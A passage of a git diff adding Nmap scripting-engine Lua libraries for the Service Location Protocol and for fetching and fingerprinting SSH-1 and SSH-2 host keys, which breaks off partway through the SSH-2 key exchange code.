+ local auth = Response.Authenticate:new(data)
+
+ if ( not(auth) ) then
+ return false, "Failed to parse authentication response"
+ end
+
+ if ( auth:isSuccess() ) then
+ return true, "Authentication was successful"
+ else
+ return false, "Authentication failed"
+ end
+
+ end
+ return false, "Unsupported authentication method"
+ end,
+
+ -- closes the connection to the server
+ close = function(self)
+ return self.socket:close()
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/srvloc.lua b/nselib/srvloc.lua
new file mode 100644
index 0000000..c9d969f
--- /dev/null
+++ b/nselib/srvloc.lua
@@ -0,0 +1,345 @@
+--- A relatively small implementation of the Service Location Protocol.
+-- It was initially designed to support requests for discovering Novell NCP
+-- servers, but should work for any other service as well.
+--
+-- The implementation is based on the following classes:
+-- * Request.Service
+-- - Contains necessary code to produce a service request
+--
+-- * Request.Attributes
+-- - Contains necessary code to produce a attribute request
+--
+-- * Reply.Service
+-- - Contains necessary code to process and parse the response to the
+-- service request
+--
+-- * Reply.Attributes
+-- - Contains necessary code to process and parse the response to the
+-- attribute request
+--
+-- The following code illustrates intended use of the library:
+--
+-- <code>
+-- local helper = srvloc.Helper:new()
+-- local status, tree = helper:ServiceRequest("ndap.novell", "DEFAULT")
+-- if ( status ) then tree = tree:match("%/%/%/(.*)%.$") end
+-- </code>
+
+--@author Patrik Karlsson <patrik@cqure.net>
+--@copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+-- Version 0.1
+-- Created 24/04/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("srvloc", stdnse.seeall)
+
+PacketFunction = {
+ SERVICE_REQUEST = 1,
+ SERVICE_REPLY = 2,
+ ATTRIB_REQUEST = 6,
+}
+
+Reply = {
+
+ Service = {
+
+ --- Creates a new instance of the Reply.Service class
+ -- @param data string containing the raw reply as read from the socket
+ -- @return o instance of Reply.Service
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse(data)
+ return o
+ end,
+
+ --- Parses the service reply raw packet data
+ -- @param data string containing the raw reply as read from the socket
+ parse = function(self, data)
+ local pos
+
+ self.version, self.func, self.len, self.flags, pos = string.unpack(">BBI3I2", data)
+
+ self.next_extension_offset, self.xid, self.lang_tag, pos = string.unpack(">I3I2s2", data, pos)
+
+ local no_urls, reserved, url_len
+ self.error_code, no_urls, pos = string.unpack(">I2I2", data, pos)
+
+ if ( no_urls > 0 ) then
+ local num_auths
+ self.url_lifetime, self.url, num_auths, pos = string.unpack(">xI2s2C", data, pos)
+ end
+ end,
+
+ --- Attempts to create an instance by reading data off the socket
+ -- @param socket socket connected to the SRVLOC service
+ -- @return new instance of the Reply.Service class
+ fromSocket = function(socket)
+ local status, data = socket:receive()
+ if ( not(status) ) then return end
+ return Reply.Service:new(data)
+ end,
+
+ --- Gets the url value from the reply
+ -- @return uri string containing the reply url
+ getUrl = function(self) return self.url end,
+ },
+
+ Attribute = {
+
+ --- Creates a new instance of Reply.Attribute
+ -- @param data string containing the raw reply as read from the socket
+ -- @return o instance of Reply.Attribute
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ o:parse(data)
+ return o
+ end,
+
+ --- Parses the service reply raw packet data
+ -- @param data string containing the raw reply as read from the socket
+ parse = function(self, data)
+ local pos
+
+ self.version, self.func, self.len, pos = string.unpack(">BBI3", data)
+ self.next_extension_offset, self.xid, self.lang_tag, pos = string.unpack(">I3I2s2", data, pos)
+
+ local num_auths
+ self.error_code, self.attrib_list, num_auths, pos = string.unpack(">I2s2B", data, pos)
+ end,
+
+ --- Attempts to create an instance by reading data off the socket
+ -- @param socket socket connected to the SRVLOC service
+ -- @return new instance of the Reply.Attribute class
+ fromSocket = function(socket)
+ local status, data = socket:receive()
+ if ( not(status) ) then return end
+ return Reply.Attribute:new(data)
+ end,
+
+ --- Gets the attribute list
+ -- @return attrib_list
+ getAttribList = function(self) return self.attrib_list end,
+ }
+}
+
+
+Request = {
+
+ -- The attribute request
+ Attribute = {
+
+ --- Creates a new instance of the Attribue request
+ -- @return o instance of Attribute
+ new = function(self)
+ local o = {
+ lang_tag = "en", version = 2, service_type = "",
+ scope = "", next_extension_offset = 0,
+ prev_resp_list_len = 0, slp_spi_len = 0 }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the request scope
+ -- @param scope string containing the request scope
+ setScope = function(self, scope) self.scope = scope end,
+
+ --- Sets the language tag
+ -- @param lang string containing the language
+ setLangTag = function(self, lang) self.lang_tag = lang end,
+
+ --- Sets the request flags
+ -- @param flags number containing the numeric flag representation
+ setFlags = function(self, flags) self.flags = flags end,
+
+ --- Sets the request XID
+ -- @param xid number containing the request XID
+ setXID = function(self, xid) self.xid = xid end,
+
+ --- Sets the request function
+ -- @param func number containing the request function number
+ setFunction = function(self, func) self.func = func end,
+
+ --- Sets the request taglist
+ -- @param tl string containing the taglist
+ setTagList = function(self, tl) self.tag_list = tl end,
+
+ --- Sets the request url
+ -- @param u string containing the url
+ setUrl = function(self, u) self.url = u end,
+
+ --- "Serializes" the request to a string
+ -- @return data string containing a string representation of the request
+ __tostring = function(self)
+ assert(self.func, "Packet function was not specified")
+ assert(self.scope, "Packet scope was not specified")
+
+ local BASE_LEN = 24
+ local len = BASE_LEN + #self.lang_tag + self.prev_resp_list_len +
+ self.slp_spi_len + #self.service_type + #self.url +
+ #self.tag_list + #self.scope
+
+ local data = string.pack(">BBI3I2I3I2s2I2s2s2s2I2", self.version, self.func,
+ len, self.flags, self.next_extension_offset, self.xid, self.lang_tag,
+ self.prev_resp_list_len, self.url, self.scope,
+ self.tag_list, self.slp_spi_len)
+
+ return data
+ end
+ },
+
+ -- The Service request
+ Service = {
+
+ --- Creates a new instance of the Service request
+ -- @return o instance of Service
+ new = function(self)
+ local o = {
+ lang_tag = "en", version = 2, service_type = "",
+ scope = "", next_extension_offset = 0,
+ prev_resp_list_len = 0, predicate_len = 0, slp_spi_len = 0 }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the service type of the request
+ -- @param t string containing the type of the request
+ setServiceType = function(self, t) self.service_type = t end,
+
+ --- Sets the request scope
+ -- @param scope string containing the request scope
+ setScope = function(self, scope) self.scope = scope end,
+
+ --- Sets the language tag
+ -- @param lang string containing the language
+ setLangTag = function(self, lang) self.lang_tag = lang end,
+
+ --- Sets the request flags
+ -- @param flags number containing the numeric flag representation
+ setFlags = function(self, flags) self.flags = flags end,
+
+ --- Sets the request XID
+ -- @param xid number containing the request XID
+ setXID = function(self, xid) self.xid = xid end,
+
+ --- Sets the request function
+ -- @param func number containing the request function number
+ setFunction = function(self, func) self.func = func end,
+
+ --- "Serializes" the request to a string
+ -- @return data string containing a string representation of the request
+ __tostring = function(self)
+ assert(self.func, "Packet function was not specified")
+ assert(self.scope, "Packet scope was not specified")
+
+ local BASE_LEN = 24
+ local len = BASE_LEN + #self.lang_tag + self.prev_resp_list_len +
+ self.predicate_len + self.slp_spi_len + #self.service_type +
+ #self.scope
+ local len_hi = ((len >> 16) & 0x00FF)
+ local len_lo = (len & 0xFFFF)
+ local neo_hi = ((self.next_extension_offset >> 16) & 0x00FF)
+ local neo_lo = (self.next_extension_offset & 0xFFFF)
+
+ local data = string.pack(">BBI3I2I3I2s2I2s2s2I2I2", self.version, self.func,
+ len, self.flags, self.next_extension_offset, self.xid, self.lang_tag,
+ self.prev_resp_list_len, self.service_type,
+ self.scope, self.predicate_len, self.slp_spi_len)
+
+ return data
+ end
+ }
+
+}
+
+
+-- The Helper class serves as primary interface for scripts using the library
+Helper = {
+
+ new = function(self, host, port)
+ local o = { xid = 1, socket = nmap.new_socket("udp") }
+ setmetatable(o, self)
+ self.__index = self
+ local family = nmap.address_family()
+ o.host = host or (family=="inet6" and "FF02::116" or "239.255.255.253")
+ o.port = port or { number=427, proto="udp" }
+ return o
+ end,
+
+ --- Sends a service request and waits for the response
+ -- @param srvtype string containing the service type to query
+ -- @param scope string containing the scope of the request
+ -- @return true on success, false on failure
+ -- @return url string (on success) containing the url of the ServiceReply
+ -- @return err string (on failure) containing the error message
+ ServiceRequest = function(self, srvtype, scope)
+ local srvtype = srvtype or ""
+ local scope = scope or ""
+ local sr = Request.Service:new()
+ sr:setXID(self.xid)
+ sr:setServiceType(srvtype)
+ sr:setScope(scope)
+ sr:setFunction(PacketFunction.SERVICE_REQUEST)
+ sr:setFlags(0x2000)
+
+ self.socket:set_timeout(5000)
+ self.socket:sendto( self.host, self.port, tostring(sr) )
+
+ local result = {}
+ repeat
+ local r = Reply.Service.fromSocket(self.socket)
+ if ( r ) then
+ table.insert(result, r:getUrl())
+ end
+ self.xid = self.xid + 1
+ until(not(r))
+
+ if ( #result == 0 ) then
+ return false, "ERROR: Helper.Locate no response received"
+ end
+ return true, result
+ end,
+
+ --- Requests an attribute from the server
+ -- @param url as retrieved by the Service request
+ -- @param scope string containing the request scope
+ -- @param taglist string containing the request tag list
+ AttributeRequest = function(self, url, scope, taglist)
+ local url = url or ""
+ local scope = scope or ""
+ local taglist = taglist or ""
+ local ar = Request.Attribute:new()
+ ar:setXID(self.xid)
+ ar:setScope(scope)
+ ar:setUrl(url)
+ ar:setTagList(taglist)
+ ar:setFunction(PacketFunction.ATTRIB_REQUEST)
+ ar:setFlags(0x2000)
+
+ self.socket:set_timeout(5000)
+ self.socket:sendto( self.host, self.port, tostring(ar) )
+
+ local r = Reply.Attribute.fromSocket(self.socket)
+
+ self.xid = self.xid + 1
+ if ( not(r) ) then
+ return false, "ERROR: Helper.Locate no response received"
+ end
+ return true, r:getAttribList()
+ end,
+
+ close = function(self)
+ return self.socket:close()
+ end,
+}
+
+return _ENV;
diff --git a/nselib/ssh1.lua b/nselib/ssh1.lua
new file mode 100644
index 0000000..f943671
--- /dev/null
+++ b/nselib/ssh1.lua
@@ -0,0 +1,275 @@
+---
+-- Functions for the SSH-1 protocol. This module also contains functions for
+-- formatting key fingerprints.
+--
+-- @author Sven Klemm <sven@c3d2.de>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+
+local io = require "io"
+local math = require "math"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local base64 = require "base64"
+local openssl = stdnse.silent_require "openssl"
+_ENV = stdnse.module("ssh1", stdnse.seeall)
+
+--- Retrieve the size of the packet that is being received
+-- and checks if it is fully received
+--
+-- This function is very similar to the function generated
+-- with match.numbytes(num) function, except that this one
+-- will check for the number of bytes on-the-fly, based on
+-- the written on the SSH packet.
+--
+-- @param buffer The receive buffer
+-- @return packet_length, packet_length or nil
+-- the return is similar to the lua function string:find()
+check_packet_length = function( buffer )
+ if #buffer < 4 then return nil end
+ local payload_length = string.unpack( ">I4", buffer )
+ local padding = 8 - payload_length % 8
+ assert(payload_length)
+ local total = 4+payload_length+padding;
+ if total > #buffer then return nil end
+ return total, total;
+end
+
+--- Receives a complete SSH packet, even if fragmented
+--
+-- This function is an abstraction layer to deal with
+-- checking the packet size to know if there is any more
+-- data to receive.
+--
+-- @param socket The socket used to receive the data
+-- @return status True or false
+-- @return packet The packet received
+receive_ssh_packet = function( socket )
+ local status, packet = socket:receive_buf(check_packet_length, true)
+ return status, packet
+end
+
+local function unpack_with_padding(len_bytes, data, offset)
+ local length, offset = string.unpack( ">I".. len_bytes, data, offset )
+ return string.unpack( ">c" .. math.ceil( length / 8 ), data, offset )
+end
+
+--- Fetch an SSH-1 host key.
+-- @param host Nmap host table.
+-- @param port Nmap port table.
+-- @return A table with the following fields: <code>exp</code>,
+-- <code>mod</code>, <code>bits</code>, <code>key_type</code>,
+-- <code>fp_input</code>, <code>full_key</code>, <code>algorithm</code>, and
+-- <code>fingerprint</code>.
+fetch_host_key = function(host, port)
+ local socket = nmap.new_socket()
+ local status, _
+
+ status = socket:connect(host, port)
+ if not status then return end
+ -- fetch banner
+ status = socket:receive_lines(1)
+ if not status then socket:close(); return end
+ -- send our banner
+ status = socket:send("SSH-1.5-Nmap-SSH1-Hostkey\r\n")
+ if not status then socket:close(); return end
+
+ local data, packet_length, padding, offset
+ status,data = receive_ssh_packet( socket )
+ socket:close()
+ if not status then return end
+
+ packet_length, offset = string.unpack( ">I4", data )
+ padding = 8 - packet_length % 8
+ offset = offset + padding
+
+ if padding + packet_length + 4 == #data then
+ -- seems to be a proper SSH1 packet
+ local msg_code,host_key_bits,exp,mod,length,fp_input
+ msg_code, offset = string.unpack( ">B", data, offset )
+ if msg_code == 2 then -- 2 => SSH_SMSG_PUBLIC_KEY
+ -- ignore cookie and server key bits
+ offset = offset + 8 + 4
+ -- skip server key exponent and modulus
+ _, offset = unpack_with_padding(2, data, offset)
+ _, offset = unpack_with_padding(2, data, offset)
+
+ host_key_bits, offset = string.unpack( ">I4", data, offset )
+ exp, offset = unpack_with_padding(2, data, offset)
+ exp = openssl.bignum_bin2bn( exp )
+ mod, offset = unpack_with_padding(2, data, offset)
+ mod = openssl.bignum_bin2bn( mod )
+
+ fp_input = mod:tobin()..exp:tobin()
+
+ return {exp=exp,mod=mod,bits=host_key_bits,key_type='rsa1',fp_input=fp_input,
+ full_key=('%d %s %s'):format(host_key_bits, exp:todec(), mod:todec()),
+ key=('%s %s'):format(exp:todec(), mod:todec()), algorithm="RSA1",
+ fingerprint=openssl.md5(fp_input), fp_sha256=openssl.digest("sha256",fp_input)}
+ end
+ end
+end
+
+--- Format a key fingerprint in hexadecimal.
+-- @param fingerprint Key fingerprint.
+-- @param algorithm Key algorithm.
+-- @param bits Key size in bits.
+fingerprint_hex = function( fingerprint, algorithm, bits )
+ fingerprint = stdnse.tohex(fingerprint,{separator=":",group=2})
+ return ("%d %s (%s)"):format( bits, fingerprint, algorithm )
+end
+
+--- Format a key fingerprint in base64.
+-- @param fingerprint Key fingerprint.
+-- @param hash The hashing algorithm used
+-- @param algorithm Key algorithm.
+-- @param bits Key size in bits.
+fingerprint_base64 = function( fingerprint, hash, algorithm, bits )
+ fingerprint = base64.enc(fingerprint)
+ return ("%d %s:%s (%s)"):format( bits, hash, fingerprint:match("[^=]+"), algorithm )
+end
+
+--- Format a key fingerprint in Bubble Babble.
+-- @param fingerprint Key fingerprint.
+-- @param algorithm Key algorithm.
+-- @param bits Key size in bits.
+fingerprint_bubblebabble = function( fingerprint, algorithm, bits )
+ local vowels = {'a','e','i','o','u','y'}
+ local consonants = {'b','c','d','f','g','h','k','l','m','n','p','r','s','t','v','z','x'}
+ local s = "x"
+ local seed = 1
+
+ for i=1,#fingerprint+2,2 do
+ local in1,in2,idx1,idx2,idx3,idx4,idx5
+ if i < #fingerprint or #fingerprint / 2 % 2 ~= 0 then
+ in1 = fingerprint:byte(i)
+ idx1 = (((in1 >> 6) & 3) + seed) % 6 + 1
+ idx2 = ((in1 >> 2) & 15) + 1
+ idx3 = ((in1 & 3) + math.floor(seed/6)) % 6 + 1
+ s = s .. vowels[idx1] .. consonants[idx2] .. vowels[idx3]
+ if i < #fingerprint then
+ in2 = fingerprint:byte(i+1)
+ idx4 = ((in2 >> 4) & 15) + 1
+ idx5 = (in2 & 15) + 1
+ s = s .. consonants[idx4] .. '-' .. consonants[idx5]
+ seed = (seed * 5 + in1 * 7 + in2) % 36
+ end
+ else
+ idx1 = seed % 6 + 1
+ idx2 = 16 + 1
+ idx3 = math.floor(seed/6) + 1
+ s = s .. vowels[idx1] .. consonants[idx2] .. vowels[idx3]
+ end
+ end
+ s = s .. 'x'
+ return ("%d %s (%s)"):format( bits, s, algorithm )
+end
+
+--- Format a key fingerprint into a visual ASCII art representation.
+--
+-- Ported from http://www.openbsd.org/cgi-bin/cvsweb/~checkout~/src/usr.bin/ssh/key.c.
+-- @param fingerprint Key fingerprint.
+-- @param algorithm Key algorithm.
+-- @param bits Key size in bits.
+fingerprint_visual = function( fingerprint, algorithm, bits )
+ local i,j,field,characters,input,fieldsize_x,fieldsize_y,s
+ fieldsize_x, fieldsize_y = 17, 9
+ characters = {' ','.','o','+','=','*','B','O','X','@','%','&','#','/','^','S','E'}
+
+ -- initialize drawing area
+ field = {}
+ for i=1,fieldsize_x do
+ field[i]={}
+ for j=1,fieldsize_y do field[i][j]=1 end
+ end
+
+ -- we start in the center and mark it
+ local x, y = math.ceil(fieldsize_x/2), math.ceil(fieldsize_y/2)
+ field[x][y] = #characters - 1;
+
+ -- iterate over fingerprint
+ for i=1,#fingerprint do
+ input = fingerprint:byte(i)
+ -- each byte conveys four 2-bit move commands
+ for j=1,4 do
+ if (input & 1) == 1 then x = x + 1 else x = x - 1 end
+ if (input & 2) == 2 then y = y + 1 else y = y - 1 end
+
+ x = math.max(x,1); x = math.min(x,fieldsize_x)
+ y = math.max(y,1); y = math.min(y,fieldsize_y)
+
+ if field[x][y] < #characters - 2 then
+ field[x][y] = field[x][y] + 1
+ end
+ input = input >> 2
+ end
+ end
+
+ -- mark end point
+ field[x][y] = #characters;
+
+ -- build output
+ s = ('\n+--[%4s %4d]----+\n'):format( algorithm, bits )
+ for i=1,fieldsize_y do
+ s = s .. '|'
+ for j=1,fieldsize_x do s = s .. characters[ field[j][i] ] end
+ s = s .. '|\n'
+ end
+ s = s .. '+-----------------+\n'
+ return s
+end
+
+-- A lazy parsing function for known_hosts_file.
+-- The script checks for the known_hosts file in this order:
+--
+-- (1) If known_hosts is specified in a script arg, use that. If turned
+-- off (false), then don't do any known_hosts checking.
+-- (2) Look at ~/.ssh/config to see if user known_hosts is in an
+-- alternate location*. Look for "UserKnownHostsFile". If
+-- UserKnownHostsFile is specified, open that known_hosts.
+-- (3) Otherwise, open ~/.ssh/known_hosts.
+parse_known_hosts_file = function(path)
+ local common_paths = {}
+ local f, knownhostspath
+
+ if path and io.open(path) then
+ knownhostspath = path
+ end
+
+ if not knownhostspath then
+ for l in io.lines(os.getenv("HOME") .. "/.ssh/config") do
+ if l and string.find(l, "UserKnownHostsFile") then
+ knownhostspath = string.match(l, "UserKnownHostsFile%s(.*)")
+ if string.sub(knownhostspath,1,1)=="~" then
+ knownhostspath = os.getenv("HOME") .. string.sub(knownhostspath, 2)
+ end
+ end
+ end
+ end
+
+ if not knownhostspath then
+ knownhostspath = os.getenv("HOME") .."/.ssh/known_hosts"
+ end
+
+ if not knownhostspath then
+ return
+ end
+
+ local known_host_entries = {}
+ local lnumber = 0
+
+ for l in io.lines(knownhostspath) do
+ lnumber = lnumber + 1
+ if l and string.sub(l, 1, 1) ~= "#" then
+ local parts = stringaux.strsplit(" ", l)
+ table.insert(known_host_entries, {entry=parts, linenumber=lnumber})
+ end
+ end
+ return known_host_entries
+end
+
+return _ENV;
diff --git a/nselib/ssh2.lua b/nselib/ssh2.lua
new file mode 100644
index 0000000..e8707c8
--- /dev/null
+++ b/nselib/ssh2.lua
@@ -0,0 +1,403 @@
+---
+-- Functions for the SSH-2 protocol.
+--
+-- @author Sven Klemm <sven@c3d2.de>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local base64 = require "base64"
+local string = require "string"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local openssl = stdnse.silent_require "openssl"
+_ENV = stdnse.module("ssh2", stdnse.seeall)
+
+-- table holding transport layer functions
+transport = {}
+
+-- table of SSH-2 constants
+local SSH2
+
+--- Retrieve the size of the packet that is being received
+-- and checks if it is fully received
+--
+-- This function is very similar to the function generated
+-- with match.numbytes(num) function, except that this one
+-- will check for the number of bytes on-the-fly, based on
+-- the written on the SSH packet.
+--
+-- @param buffer The receive buffer
+-- @return packet_length, packet_length or nil
+-- the return is similar to the lua function string:find()
+check_packet_length = function( buffer )
+ if #buffer < 4 then return nil end -- not enough data in buffer for int
+ local packet_length, offset = string.unpack( ">I4", buffer )
+ assert(packet_length)
+ if packet_length + 4 > buffer:len() then return nil end
+ return packet_length+4, packet_length+4
+end
+
+--- Receives a complete SSH packet, even if fragmented
+--
+-- This function is an abstraction layer to deal with
+-- checking the packet size to know if there is any more
+-- data to receive.
+--
+-- @param socket The socket used to receive the data
+-- @return status True or false
+-- @return packet The packet received
+transport.receive_packet = function( socket )
+ local status, packet = socket:receive_buf(check_packet_length, true)
+ return status, packet
+end
+
+--- Pack a multiprecision integer for sending.
+-- @param bn <code>openssl</code> bignum.
+-- @return Packed multiprecision integer.
+transport.pack_mpint = openssl.bignum_bn2mpi or function( bn )
+ local bytes, packed
+ bytes = bn:num_bytes()
+ packed = bn:tobin()
+ if bytes > 0 and bn:num_bits() % 8 == 0 then
+ bytes = bytes + 1
+ packed = '\0' .. packed
+ end
+ return string.pack(">I4", bytes) .. packed
+end
+
+--- Build an SSH-2 packet.
+-- @param payload Payload of the packet.
+-- @return Packet to send on the wire.
+transport.build = function( payload )
+ local packet_length, padding_length
+ padding_length = 8 - ( (payload:len() + 1 + 4 ) % 8 )
+ -- padding length must be at least 4 bytes and is a multiple
+ -- of the cipher block size or 8
+ if padding_length < 4 then
+ padding_length = padding_length + 8
+ end
+ packet_length = payload:len() + padding_length + 1
+ return string.pack(">I4B", packet_length, padding_length) .. payload .. openssl.rand_pseudo_bytes(padding_length)
+end
+
+--- Extract the payload from a received SSH-2 packet.
+-- @param packet Received SSH-2 packet.
+-- @return Payload of the SSH-2 packet.
+transport.payload = function( packet )
+ local packet_length, padding_length, offset = string.unpack( ">I4B", packet )
+ assert(packet_length and padding_length)
+ local payload_length = packet_length - padding_length - 1
+ if packet_length ~= (#packet - 4) then
+ stdnse.debug1("SSH-2 packet doesn't match length: payload_length is %d but total length is only %d.", packet_length, #packet - 4)
+ return nil
+ end
+ local payload = string.sub(packet, offset, offset + payload_length)
+ return payload
+end
+
+--- Build a <code>kexdh_init</code> packet.
+transport.kexdh_init = function( e )
+ return string.pack( "B", SSH2.SSH_MSG_KEXDH_INIT) .. transport.pack_mpint( e )
+end
+
+--- Build a <code>kexdh_gex_init</code> packet.
+transport.kexdh_gex_init = function( e )
+ return string.pack( "B", SSH2.SSH_MSG_KEX_DH_GEX_INIT) .. transport.pack_mpint( e )
+end
+
+--- Build a <code>kex_init</code> packet.
+transport.kex_init = function( options )
+ options = options or {}
+ local cookie = options['cookie'] or openssl.rand_bytes( 16 )
+ local kex_algorithms = options['kex_algorithms'] or "diffie-hellman-group1-sha1"
+ local host_key_algorithms = options['host_key_algorithms'] or "ssh-dss,ssh-rsa"
+ local encryption_algorithms = options['encryption_algorithms'] or "aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr"
+ local mac_algorithms = options['mac_algorithms'] or "hmac-md5,hmac-sha1,hmac-ripemd160"
+ local compression_algorithms = options['compression_algorithms'] or "none"
+ local languages = options['languages'] or ""
+
+ local payload = string.pack( "B", SSH2.SSH_MSG_KEXINIT) .. cookie
+ .. string.pack( ">s4s4 s4s4 s4s4 s4s4 s4s4 BI4", kex_algorithms, host_key_algorithms,
+ encryption_algorithms, encryption_algorithms,
+ mac_algorithms, mac_algorithms,
+ compression_algorithms, compression_algorithms,
+ languages, languages,
+ 0, 0 )
+
+ return payload
+end
+
+--- Parse a <code>kexinit</code> package.
+--
+-- Returns an empty table in case of an error
+transport.parse_kex_init = function( payload )
+ local parsed = {}
+
+ -- check for proper msg code
+ local msg_code, offset = string.unpack( "B", payload )
+ if msg_code ~= SSH2.SSH_MSG_KEXINIT then return {} end
+
+ parsed.cookie, offset = string.unpack( "c16", payload, offset )
+
+ local fields = {'kex_algorithms','server_host_key_algorithms',
+ 'encryption_algorithms_client_to_server','encryption_algorithms_server_to_client',
+ 'mac_algorithms_client_to_server','mac_algorithms_server_to_client',
+ 'compression_algorithms_client_to_server','compression_algorithms_server_to_client',
+ 'languages_client_to_server','languages_server_to_client'}
+ for _, fieldname in pairs( fields ) do
+ parsed[fieldname], offset = string.unpack( ">s4", payload, offset )
+ end
+
+ return parsed
+end
+
+
+--- Fetch an SSH-2 host key.
+-- @param host Nmap host table.
+-- @param port Nmap port table.
+-- @param key_type key type to fetch.
+-- @return A table with the following fields: <code>key</code>,
+-- <code>key_type</code>, <code>fp_input</code>, <code>bits</code>,
+-- <code>full_key</code>, <code>algorithm</code>, and <code>fingerprint</code>.
+fetch_host_key = function( host, port, key_type )
+ local socket = nmap.new_socket()
+ local status
+
+ -- oakley group 2 prime taken from rfc 2409
+ local prime2 = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1\z
+ 29024E088A67CC74020BBEA63B139B22514A08798E3404DD\z
+ EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245\z
+ E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED\z
+ EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381\z
+ FFFFFFFFFFFFFFFF"
+ -- oakley group 14 prime taken from rfc 3526
+ local prime14 = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1\z
+ 29024E088A67CC74020BBEA63B139B22514A08798E3404DD\z
+ EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245\z
+ E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED\z
+ EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D\z
+ C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F\z
+ 83655D23DCA3AD961C62F356208552BB9ED529077096966D\z
+ 670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B\z
+ E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9\z
+ DE2BCBF6955817183995497CEA956AE515D2261898FA0510\z
+ 15728E5A8AACAA68FFFFFFFFFFFFFFFF"
+ -- oakley group 16 prime taken from rfc 3526
+ local prime16 = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1\z
+ 29024E088A67CC74020BBEA63B139B22514A08798E3404DD\z
+ EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245\z
+ E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED\z
+ EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D\z
+ C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F\z
+ 83655D23DCA3AD961C62F356208552BB9ED529077096966D\z
+ 670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B\z
+ E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9\z
+ DE2BCBF6955817183995497CEA956AE515D2261898FA0510\z
+ 15728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64\z
+ ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7\z
+ ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6B\z
+ F12FFA06D98A0864D87602733EC86A64521F2B18177B200C\z
+ BBE117577A615D6C770988C0BAD946E208E24FA074E5AB31\z
+ 43DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D7\z
+ 88719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA\z
+ 2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6\z
+ 287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED\z
+ 1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA9\z
+ 93B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199\z
+ FFFFFFFFFFFFFFFF"
+
+ status = socket:connect(host, port)
+ if not status then return end
+ -- fetch banner
+ status = socket:receive_lines(1)
+ if not status then socket:close(); return end
+ -- send our banner
+ status = socket:send("SSH-2.0-Nmap-SSH2-Hostkey\r\n")
+ if not status then socket:close(); return end
+
+ local packet = transport.build( transport.kex_init( {
+ host_key_algorithms=key_type,
+ kex_algorithms="diffie-hellman-group1-sha1,\z
+ diffie-hellman-group14-sha1,\z
+ diffie-hellman-group14-sha256,\z
+ diffie-hellman-group16-sha512,\z
+ diffie-hellman-group-exchange-sha1,\z
+ diffie-hellman-group-exchange-sha256",
+ } ) )
+ status = socket:send( packet )
+ if not status then socket:close(); return end
+
+ local kex_init
+ status, kex_init = transport.receive_packet( socket )
+ if not status then socket:close(); return end
+ kex_init = transport.parse_kex_init( transport.payload( kex_init ) )
+
+ if not tostring(kex_init.server_host_key_algorithms):find( key_type, 1, true ) then
+ -- server does not support host key type
+ stdnse.debug2("Hostkey type '%s' not supported by server.", key_type )
+ return
+ end
+
+ local kex_algs = tostring( kex_init.kex_algorithms )
+ local kexdh_gex_used = false
+ local prime, q, gen
+ -- NB: For each KEX prefix used here, make sure that all corresponding
+ -- algorithms are listed in the transport.kex_init() call above.
+ -- Otherwise this code might proceed with an incorrect KEX.
+ if kex_algs:find("diffie-hellman-group1-", 1, true) then
+ prime = prime2
+ q = 1024
+ gen = "2"
+ elseif kex_algs:find("diffie-hellman-group14-", 1, true) then
+ prime = prime14
+ q = 2048
+ gen = "2"
+ elseif kex_algs:find("diffie-hellman-group16-", 1, true) then
+ prime = prime16
+ q = 4096
+ gen = "2"
+ elseif kex_algs:find("diffie-hellman-group-exchange-", 1, true) then
+ local min, n, max
+ min = 1024
+ n = 1024
+ max = 8192
+ packet = transport.build( string.pack( ">BI4I4I4", SSH2.SSH_MSG_KEX_DH_GEX_REQUEST, min, n, max ) )
+ status = socket:send( packet )
+ if not status then socket:close(); return end
+
+ local gex_reply
+ status, gex_reply = transport.receive_packet( socket )
+ if not status then socket:close(); return end
+ gex_reply = transport.payload( gex_reply )
+ -- check for proper msg code
+ if gex_reply:byte(1) ~= SSH2.SSH_MSG_KEX_DH_GEX_GROUP then
+ socket:close()
+ return
+ end
+ local _
+ _, prime, gen = string.unpack( ">Bs4s4", gex_reply )
+
